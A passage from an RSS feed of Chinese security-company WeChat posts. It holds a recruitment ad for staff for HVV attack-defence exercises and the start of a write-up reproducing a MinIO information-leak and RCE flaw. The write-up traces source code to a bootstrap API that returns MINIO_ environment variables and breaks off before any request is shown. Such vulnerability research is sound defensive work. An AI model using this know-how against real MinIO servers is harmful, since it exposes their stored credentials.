<p data-mpa-powered-by="yiban.io" style="outline: 0px;visibility: visible;">    2023-HVV在即，人才需求量大，招聘竞争异常激烈，今年外包多多，我司人才服务部准备储备海量HVV人才。</p><section data-support="96编辑器" data-style-id="33871" style="margin-bottom: unset;outline: 0px;visibility: visible;"><section style="padding-right: 25px;padding-bottom: 35px;outline: 0px;text-align: left;visibility: visible;"><section style="margin-left: 15px;padding-right: 10px;padding-left: 10px;outline: 0px;background-color: rgb(254, 254, 254);display: inline-block;transform: rotateZ(0deg);visibility: visible;"><section style="outline: 0px;color: rgb(252, 238, 211);font-size: 33px;visibility: visible;"><p style="outline: 0px;visibility: visible;"><br style="outline: 0px;visibility: visible;"/></p></section><section style="margin-top: -25px;outline: 0px;color: rgb(55, 66, 120);font-size: 18px;letter-spacing: 2px;visibility: visible;"><p style="outline: 0px;visibility: visible;">单位介绍<br style="outline: 0px;visibility: visible;"/></p></section></section><section style="margin-top: -13px;padding: 1px;outline: 0px;border-color: rgb(225, 185, 83);border-style: solid;border-width: 1px;visibility: visible;"><section style="margin: 30px -30px -30px 30px;outline: 0px;visibility: visible;"><section style="padding: 1px;outline: 0px;background-color: rgb(247, 248, 255);visibility: visible;"><section style="margin: -15px 15px 15px -15px;outline: 0px;visibility: visible;"><p style="outline: 0px;text-align: center;visibility: visible;"><img class="rich_pages wxw-img" data-ratio="0.665625" style="outline: 0px;display: block;width: 646px;visibility: visible !important;" data-w="640" data-width="100%" src="https://wechat2rss.xlab.app/img-proxy/?k=012ceb73&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2F6zIV1e6ocLAd7ic2pNVMwicapIfRAPn9gS5ibLO8RCDLN5icJPRWWpkDbh91rnpMRQuer2UOxHhhl7jPCMVneF0ZdA%2F640%3Fwx_fmt%3Dother%26wxfrom%3D5%26wx_lazy%3D1%26wx_co%3D1"/></p></section></section></section></section></section></section><section data-support="96编辑器" data-style-id="36103" style="margin-bottom: unset;outline: 0px;visibility: visible;"><section style="margin-top: 10px;margin-bottom: 10px;outline: 0px;visibility: visible;"><section style="margin-bottom: -9px;margin-left: 20px;padding-right: 3px;padding-left: 3px;outline: 0px;width: 33px;background-color: rgb(254, 254, 254);transform: rotateZ(0deg);visibility: visible;"><img data-ratio="0.7407407407407407" data-w="27" data-width="100%" style="outline: 0px;display: block;width: 27px;visibility: visible !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=ba417247&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FLjib4So7yuWjWGT8icz65g9nBDzNkyWT2XEW5yhEtRqxjDfoCxxLh8sYOHsFInWUar5LibymyAE7fTkXrExF0CEgA%2F640%3Fwx_fmt%3Dpng%26tp%3Dwxpic%26wxfrom%3D5%26wx_lazy%3D1%26wx_co%3D1"/></section><section style="padding: 8px;outline: 0px;border-color: rgb(18, 142, 145);border-style: solid;border-width: 1px;text-align: center;border-radius: 8px;visibility: visible;"><section style="outline: 0px;background-color: rgb(230, 248, 248);border-radius: 8px;visibility: visible;"><section style="padding: 13px;outline: 0px;color: rgb(50, 50, 50);letter-spacing: 2px;font-size: 14px;line-height: 1.75em;text-align: justify;transform: rotateZ(0deg);visibility: visible;"><p style="outline: 0px;visibility: visible;">    我司是专业安全服务公司，自2021年正式以公司形式开展网络安全相关技术服务，与市场诸多主流网络安全厂商建立正式合作关系。开展服务来，我司已顺利完成2021、2022年度HW蓝队、HW红队、重保、红队评估、渗透测试、CTF培训等有关业务，输出海量人才，并获得了客户单位等一致好评。<br style="outline: 0px;"/></p></section></section></section><section style="margin-top: -17px;margin-right: 20px;outline: 0px;text-align: right;"><section style="padding-right: 5px;padding-left: 5px;outline: 0px;background-color: rgb(254, 254, 254);display: inline-block;transform: rotateZ(0deg);"><section style="outline: 0px;display: flex;align-items: center;"><section style="outline: 0px;width: 8px;height: 8px;background-color: rgb(255, 200, 81);border-radius: 50%;"><br style="outline: 0px;"/></section><section style="margin-left: 5px;outline: 0px;width: 8px;height: 8px;background-color: rgb(255, 200, 81);border-radius: 50%;"><br style="outline: 0px;"/></section><section style="margin-left: 5px;outline: 0px;width: 8px;height: 8px;background-color: rgb(255, 200, 81);border-radius: 50%;"><br style="outline: 0px;"/></section><section style="margin-left: 5px;outline: 0px;width: 8px;height: 8px;background-color: rgb(255, 200, 81);border-radius: 50%;"><br style="outline: 0px;"/></section></section></section></section></section></section><section data-support="96编辑器" data-style-id="36101" style="margin-bottom: unset;outline: 0px;"><section style="margin-top: 10px;margin-bottom: 10px;outline: 0px;text-align: left;"><section style="padding-bottom: 3px;padding-left: 3px;outline: 0px;background-color: rgb(18, 142, 145);border-radius: 10px 0px;display: inline-block;"><section style="padding: 3px 18px;outline: 0px;color: rgb(255, 255, 255);font-size: 18px;letter-spacing: 2px;"><p style="outline: 0px;">岗位要求<br style="outline: 0px;"/></p></section></section><section style="margin-top: -20px;padding: 25px 14px 14px;outline: 0px;border-top: 5px solid rgb(255, 200, 81);border-bottom: 4px solid rgb(18, 142, 145);background-color: rgb(230, 248, 248);"><section style="outline: 0px;color: rgb(50, 50, 50);letter-spacing: 2px;font-size: 14px;line-height: 1.75em;text-align: justify;transform: rotateZ(0deg);"><p style="outline: 0px;">    A：把控整个护网行动的整体流程，有相关管理经验，对HVV现场情况和现场技术人员进行把控，具备组织领导管理能力。<br style="outline: 0px;"/>    B：独立分析安全相关告警提出有效解决方案、具备分析研判,流量审计,应急响应能力,熟悉红队攻击手法，有多次HVV，红队经验优先。</p><p style="outline: 0px;">    C：对现场相关安全设备告警进行研判、日常巡检、基线检查、有HVV,重保经验优先。<br style="outline: 0px;"/>    D：具备扎实的安全基础,深度理解漏洞原理，能够进行日志分析工作。</p></section></section><section style="margin-top: -26px;margin-left: auto;outline: 0px;width: 30px;"><img class="rich_pages wxw-img" data-ratio="0.7407407407407407" data-w="27" data-width="100%" style="outline: 0px;display: block;width: 30px;visibility: visible !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=ba417247&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FLjib4So7yuWjWGT8icz65g9nBDzNkyWT2XEW5yhEtRqxjDfoCxxLh8sYOHsFInWUar5LibymyAE7fTkXrExF0CEgA%2F640%3Fwx_fmt%3Dpng%26tp%3Dwxpic%26wxfrom%3D5%26wx_lazy%3D1%26wx_co%3D1"/></section></section></section><section data-support="96编辑器" data-style-id="36097" style="margin-bottom: unset;outline: 0px;"><section data-align="title" style="margin-top: 10px;margin-bottom: 10px;outline: 0px;text-align: center;"><section style="outline: 0px;display: flex;justify-content: center;align-items: flex-end;"><section style="margin-right: -12px;outline: 0px;width: 35px;transform: rotateZ(0deg);"><img class="rich_pages wxw-img __bg_gif" data-ratio="1.0465116279069768" data-w="43" data-width="100%" style="outline: 0px;display: block;width: 35px;visibility: visible !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=5f08b149&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_gif%2FLjib4So7yuWjWGT8icz65g9nBDzNkyWT2XZn6edlL7ZOP4cic0wMsZRzyxe8YOMTrZmM4QXBzuCVnr0wSzfskBZzQ%2F640%3Fwx_fmt%3Dgif%26tp%3Dwxpic%26wxfrom%3D5%26wx_lazy%3D1"/></section><section style="padding: 2px 20px;outline: 0px;border-color: rgb(49, 117, 172);border-style: dashed;border-width: 2px;border-radius: 8px;color: rgb(49, 117, 172);letter-spacing: 2px;"><p style="outline: 0px;">总体流程</p></section></section></section></section><section style="margin-bottom: unset;outline: 0px;"><img class="rich_pages wxw-img" data-ratio="0.924074074074074" style="outline: 0px;width: 677px !important;visibility: visible !important;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=df357f6c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FeqGGHicCG3MZI4BxANgMN2hYg1H2J9dkYnCPv5C4G0GTibFGPXHvL0J2ToBdQUMa75gWNDm6cw6Fpr4BgfUs2zvg%2F640%3Fwx_fmt%3Dpng%26tp%3Dwxpic%26wxfrom%3D5%26wx_lazy%3D1%26wx_co%3D1"/><section data-support="96编辑器" data-style-id="36101" style="outline: 0px;"><section style="margin-top: 10px;margin-bottom: 10px;outline: 0px;text-align: left;"><section style="padding-bottom: 3px;padding-left: 3px;outline: 0px;background-color: rgb(18, 142, 145);border-radius: 10px 0px;display: inline-block;"><section style="padding: 3px 18px;outline: 0px;color: rgb(255, 255, 255);font-size: 18px;letter-spacing: 2px;"><p style="outline: 0px;">项目地点<br style="outline: 0px;"/></p></section></section><section style="margin-top: -20px;padding: 25px 14px 14px;outline: 0px;border-top: 5px solid rgb(255, 200, 81);border-bottom: 4px solid rgb(18, 142, 145);background-color: rgb(230, 248, 248);"><section style="outline: 0px;color: rgb(50, 50, 50);letter-spacing: 2px;font-size: 14px;line-height: 1.75em;text-align: justify;transform: rotateZ(0deg);"><p style="outline: 0px;">    北上广深一线城市为主，其他为辅助。</p></section></section><section style="margin-top: -26px;margin-left: auto;outline: 0px;width: 30px;"><img class="rich_pages wxw-img" data-ratio="0.7407407407407407" data-w="27" data-width="100%" style="outline: 0px;display: block;width: 30px;visibility: visible !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=ba417247&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FLjib4So7yuWjWGT8icz65g9nBDzNkyWT2XEW5yhEtRqxjDfoCxxLh8sYOHsFInWUar5LibymyAE7fTkXrExF0CEgA%2F640%3Fwx_fmt%3Dpng%26tp%3Dwxpic%26wxfrom%3D5%26wx_lazy%3D1%26wx_co%3D1"/></section></section></section></section><section data-support="96编辑器" data-style-id="36101" style="margin-bottom: unset;outline: 0px;"><section style="margin-top: 10px;margin-bottom: 10px;outline: 0px;text-align: left;"><section style="padding-bottom: 3px;padding-left: 3px;outline: 0px;background-color: rgb(18, 142, 145);border-radius: 10px 0px;display: inline-block;"><section style="padding: 3px 18px;outline: 0px;color: rgb(255, 255, 255);font-size: 18px;letter-spacing: 2px;"><p style="outline: 0px;">薪资待遇<br style="outline: 0px;"/></p></section></section><section style="margin-top: -20px;padding: 25px 14px 14px;outline: 0px;border-top: 5px solid rgb(255, 200, 81);border-bottom: 4px solid rgb(18, 142, 145);background-color: rgb(230, 248, 248);"><section style="outline: 0px;color: rgb(50, 50, 50);letter-spacing: 2px;font-size: 14px;line-height: 1.75em;text-align: justify;transform: rotateZ(0deg);"><p style="outline: 0px;">    薪资待遇不对外讨论（避免引起骚乱），通过面试后有专人沟通。面试通过后统一定级，按照级别定价，一级一价，绝无二价，不会出现恶意压低或抬高价格的情况。</p></section></section></section></section><section data-support="96编辑器" data-style-id="40592" style="margin-bottom: unset;outline: 0px;"><section data-align="title" style="margin-top: 10px;margin-bottom: 10px;outline: 0px;text-align: center;"><section style="outline: 0px;display: inline-block;"><section style="margin-bottom: -12px;margin-left: -3px;outline: 0px;width: 15px;height: 15px;background-image: linear-gradient(90deg, rgb(255, 208, 136), rgb(253, 253, 253));"><br style="outline: 0px;"/></section><section style="outline: 0px;display: flex;justify-content: center;align-items: center;"><section style="padding: 2px 10px;outline: 0px;background-image: linear-gradient(90deg, rgb(71, 184, 255), rgb(204, 235, 253));transform: rotateZ(0deg);"><section style="outline: 0px;font-size: 16px;color: rgb(254, 254, 254);letter-spacing: 1px;"><p style="outline: 0px;"><strong style="outline: 0px;">END</strong></p></section></section><section style="margin-left: 2px;outline: 0px;width: 1px;height: 29px;background-color: rgb(70, 183, 255);"><br style="outline: 0px;"/></section></section></section></section></section><section data-support="96编辑器" data-style-id="36101" style="margin-bottom: unset;outline: 0px;"><section style="margin-top: 10px;margin-bottom: 10px;outline: 0px;text-align: left;"><section style="padding-bottom: 3px;padding-left: 3px;outline: 0px;background-color: rgb(18, 142, 145);border-radius: 10px 0px;display: inline-block;"><section style="padding: 3px 18px;outline: 0px;color: rgb(255, 255, 255);font-size: 18px;letter-spacing: 2px;"><p style="outline: 0px;">简历投递<br style="outline: 0px;"/></p></section></section><section style="margin-top: -20px;padding: 25px 14px 14px;outline: 0px;border-top: 5px solid rgb(255, 200, 81);border-bottom: 4px solid rgb(18, 142, 145);background-color: rgb(230, 248, 248);"><section style="outline: 0px;color: rgb(50, 50, 50);letter-spacing: 2px;font-size: 14px;line-height: 1.75em;text-align: justify;transform: rotateZ(0deg);"><p style="outline: 0px;">    简历格式：姓名-所在城市-级别-手机号-.pdf，文档也行。</p><p style="outline: 0px;">    投递邮箱：zero_sec@163.com</p><p style="outline: 0px;">    扫描下方二维码也可投递简历：</p><p style="outline: 0px;text-align: center;">    <img class="rich_pages wxw-img" data-ratio="1.3487450462351387" width="200" data-type="jpeg" data-w="757" height="270" style="outline: 0px;width: 200px !important;visibility: visible !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=f614a932&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FeqGGHicCG3MZI4BxANgMN2hYg1H2J9dkYTiaAl9vUpqSp5CTgicdTPS700icyKqBzEuQ4FHsqAF6GjrwW3R4cW2MiaA%2F640%3Fwx_fmt%3Djpeg%26tp%3Dwxpic%26wxfrom%3D5%26wx_lazy%3D1%26wx_co%3D1"/></p></section></section><section style="margin-top: -26px;margin-left: auto;outline: 0px;width: 30px;"><img class="rich_pages wxw-img" data-ratio="0.7407407407407407" data-w="27" data-width="100%" style="outline: 0px;display: block;width: 30px;visibility: visible !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=ba417247&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FLjib4So7yuWjWGT8icz65g9nBDzNkyWT2XEW5yhEtRqxjDfoCxxLh8sYOHsFInWUar5LibymyAE7fTkXrExF0CEgA%2F640%3Fwx_fmt%3Dpng%26tp%3Dwxpic%26wxfrom%3D5%26wx_lazy%3D1%26wx_co%3D1"/></section></section></section><section style="margin-bottom: unset;outline: 0px;"><p style="outline: 0px;"><br style="outline: 0px;"/></p></section><p data-mpa-powered-by="yiban.io" style="outline: 0px;"><br style="outline: 0px;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);"/></p><p><br/></p><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="2247485632">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=ddcb0214&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzU5MTExMjYwMA%3D%3D%26mid%3D2247485632%26idx%3D1%26sn%3Dc4ac701799f61b3bffc5be0fdf0307e5%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Thu, 11 May 2023 22:00:00 +0800</pubDate>
    </item>
    <item>
      <title>minio信息泄露漏洞及RCE复现</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzU5MTExMjYwMA==&amp;mid=2247485620&amp;idx=1&amp;sn=20815e55406be3cd8c6d5d9fd0f711bf</link>
      <description>1.环境配置开局一张图，内容全靠编首先clone下minio项目，然后回滚到月初的commitgit che</description>
      <content:encoded><![CDATA[<p>
原创 <span>kkk mr</span> <span>2023-04-23 08:00</span> <span style="display: inline-block;">浙江</span>
</p>

<p>1.环境配置开局一张图，内容全靠编首先clone下minio项目，然后回滚到月初的commitgit che</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=e70f7257&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FnoZJ3Kqbu1fjXkjQBz2ZH4cF8vFeH8rckDzBTglOWBQ1n0HZJSSCjPbtHV4icKRsEyPmic8eABpkpyp56eR5WbEA%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<h2 style="box-sizing: border-box;margin: 80px 10px 40px;white-space: normal;text-align: center;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 22.4px;">1.环境配置</h2><p style="box-sizing: border-box;margin: 10px;font-size: 16px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;">开局一张图，内容全靠编</p><p style="box-sizing: border-box;margin: 10px;font-size: 16px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><img class="rich_pages wxw-img" data-ratio="0.5294797687861271" title="null" data-type="png" data-w="865" style="box-sizing: border-box;margin: 20px auto;line-height: 1.5;border-radius: 4px;display: block;width: 315px;" src="https://wechat2rss.xlab.app/img-proxy/?k=6efdffc3&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FnoZJ3Kqbu1fjXkjQBz2ZH4cF8vFeH8rcGfS7w4hrrroTECEP1Yt6kq3J7Iy5V4ZWQlh15I6lOZBwkmJ0jOtzWg%2F640%3Fwx_fmt%3Dpng"/></p><p style="box-sizing: border-box;margin: 10px;font-size: 16px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;">首先clone下minio项目，然后回滚到月初的commit</p><p style="box-sizing: border-box;margin: 10px;font-size: 16px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><code style="box-sizing: border-box;padding: 3px 5px;color: rgb(255, 53, 2);line-height: 1.5;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 14.4px;background: rgb(248, 245, 236);border-radius: 2px;">git checkout 9800760cb3cd42156161c9345e4543f42ed67d0f</code></p><p style="box-sizing: border-box;margin: 10px;font-size: 16px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;">配一下环境参数就可以直接开run了</p><p style="box-sizing: border-box;margin: 10px;font-size: 16px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><img class="rich_pages wxw-img" data-ratio="0.26217228464419473" title="null" data-type="png" data-w="1068" style="box-sizing: border-box;margin: 20px auto;line-height: 1.5;border-radius: 4px;display: block;width: 315px;" src="https://wechat2rss.xlab.app/img-proxy/?k=0012c57d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FnoZJ3Kqbu1fjXkjQBz2ZH4cF8vFeH8rcc7Zo5J8PtlHeWuicceERvvSiaicjaR6wyAGQReYib8oEOOXwaJjiczkm0sg%2F640%3Fwx_fmt%3Dpng"/></p><h2 style="box-sizing: border-box;margin: 80px 10px 40px;white-space: normal;text-align: center;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 22.4px;">2.敏感信息泄露</h2><p style="box-sizing: border-box;margin: 10px;font-size: 16px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;">直接搜索关键字</p><p style="box-sizing: border-box;margin: 10px;font-size: 16px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><img class="rich_pages wxw-img" data-ratio="0.3074074074074074" title="null" data-type="png" data-w="1080" style="box-sizing: border-box;margin: 20px auto;line-height: 1.5;border-radius: 4px;display: block;width: 315px;" src="https://wechat2rss.xlab.app/img-proxy/?k=d9e08c63&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FnoZJ3Kqbu1fjXkjQBz2ZH4cF8vFeH8rcZRx2zLd9oDppwGibeNGCcLUbVYoydCRwqhtjHs4nCY0oyyPLNWPDrGA%2F640%3Fwx_fmt%3Dpng"/></p><p style="box-sizing: border-box;margin: 10px;font-size: 16px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;">可以看到这个属性是由环境变量设置的，根据推测直接搜索关键字<code style="box-sizing: border-box;padding: 3px 5px;color: rgb(255, 53, 2);line-height: 1.5;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 14.4px;background: rgb(248, 245, 236);border-radius: 2px;">os.Environ</code></p><p style="box-sizing: border-box;margin: 10px;font-size: 16px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;">搜索到<code style="box-sizing: border-box;padding: 3px 5px;color: rgb(255, 53, 2);line-height: 1.5;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 14.4px;background: rgb(248, 245, 236);border-radius: 2px;">getLocalServerProperty</code>函数，这个函数，参数中有request，看着好像是能访问的样子</p><p style="box-sizing: border-box;margin: 10px;font-size: 16px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><img class="rich_pages wxw-img" data-ratio="0.1037037037037037" title="null" data-type="png" data-w="1080" style="box-sizing: border-box;margin: 20px auto;line-height: 1.5;border-radius: 4px;display: block;width: 315px;" src="https://wechat2rss.xlab.app/img-proxy/?k=38c79453&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FnoZJ3Kqbu1fjXkjQBz2ZH4cF8vFeH8rcLCvCenz7wvDC1cic3sO8ufCeSVzW0micxo2hzOicXgAiaz3icwhAwgMFvxw%2F640%3Fwx_fmt%3Dpng"/></p><p style="box-sizing: border-box;margin: 10px;font-size: 16px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;">并且下面在遍历了os.Environ，但是如果检测到环境变量名中有password或者key的话，居然会给打码。所以这个函数虽然看着很像我们需要的，但是实际上不是</p><p style="box-sizing: border-box;margin: 10px;font-size: 16px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><img class="rich_pages wxw-img" data-ratio="0.3435185185185185" title="null" data-type="png" data-w="1080" style="box-sizing: border-box;margin: 20px auto;line-height: 1.5;border-radius: 4px;display: block;width: 315px;" src="https://wechat2rss.xlab.app/img-proxy/?k=e752182d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FnoZJ3Kqbu1fjXkjQBz2ZH4cF8vFeH8rcEDQsTYdNWFmupBhZU19icTiaeqvqpbBBzwhB3VLqQBmTtRUhgg9ibFL2w%2F640%3Fwx_fmt%3Dpng"/></p><p style="box-sizing: border-box;margin: 10px;font-size: 16px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;">后续看代码中，发现env.Get出现的很频繁，这是官方自己实现的一个包，同样也可以获取环境变量</p><p style="box-sizing: border-box;margin: 10px;font-size: 16px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><img class="rich_pages wxw-img" data-ratio="0.10555555555555556" title="null" data-type="png" data-w="1080" style="box-sizing: border-box;margin: 20px auto;line-height: 1.5;border-radius: 4px;display: block;width: 315px;" src="https://wechat2rss.xlab.app/img-proxy/?k=3ff10207&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FnoZJ3Kqbu1fjXkjQBz2ZH4cF8vFeH8rc65nZrBQZgP6PrTESHemW8CQvPuW24XMq5qDjVBg5puibUYOapQwwsjw%2F640%3Fwx_fmt%3Dpng"/></p><p style="box-sizing: border-box;margin: 10px;font-size: 16px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;">并且Lsit方法支持同时获取多个环境变量</p><p style="box-sizing: border-box;margin: 10px;font-size: 16px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><img class="rich_pages wxw-img" data-ratio="0.5203703703703704" title="null" data-type="png" data-w="1080" style="box-sizing: border-box;margin: 20px auto;line-height: 1.5;border-radius: 4px;display: block;width: 315px;" src="https://wechat2rss.xlab.app/img-proxy/?k=7df67cba&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FnoZJ3Kqbu1fjXkjQBz2ZH4cF8vFeH8rcU76LYA9oBJ2WSPzTjiabScUkLFZYdnGZZxYgC1wlsNRANevaLTmmwXQ%2F640%3Fwx_fmt%3Dpng"/></p><p style="box-sizing: border-box;margin: 10px;font-size: 16px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;">搜索这个函数的使用，很快就能找到<code style="box-sizing: border-box;padding: 3px 5px;color: rgb(255, 53, 2);line-height: 1.5;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 14.4px;background: rgb(248, 245, 236);border-radius: 2px;">getServerSystemCfg</code></p><p style="box-sizing: border-box;margin: 10px;font-size: 16px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;">返回MINIO开头的环境变量，看着非常符合图里的特征</p><p style="box-sizing: border-box;margin: 10px;font-size: 16px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><img class="rich_pages wxw-img" data-ratio="0.6694444444444444" title="null" data-type="png" data-w="1080" style="box-sizing: border-box;margin: 20px auto;line-height: 1.5;border-radius: 4px;display: block;width: 315px;" src="https://wechat2rss.xlab.app/img-proxy/?k=81e91083&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FnoZJ3Kqbu1fjXkjQBz2ZH4cF8vFeH8rcV4lX9Dt1HFWV9noaRP5O49ztKDUApysjgz5XYAvy5P98xianibtL9M9A%2F640%3Fwx_fmt%3Dpng"/></p><p style="box-sizing: border-box;margin: 10px;font-size: 16px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;">往上追，能看到<code style="box-sizing: border-box;padding: 3px 5px;color: rgb(255, 53, 2);line-height: 1.5;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 14.4px;background: rgb(248, 245, 236);border-radius: 2px;">registerBootstrapRESTHandlers</code>说明是一个api，我们可以访问的，需要使用POST访问，PATH是<code style="box-sizing: border-box;padding: 3px 5px;color: rgb(255, 53, 2);line-height: 1.5;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 14.4px;background: rgb(248, 245, 236);border-radius: 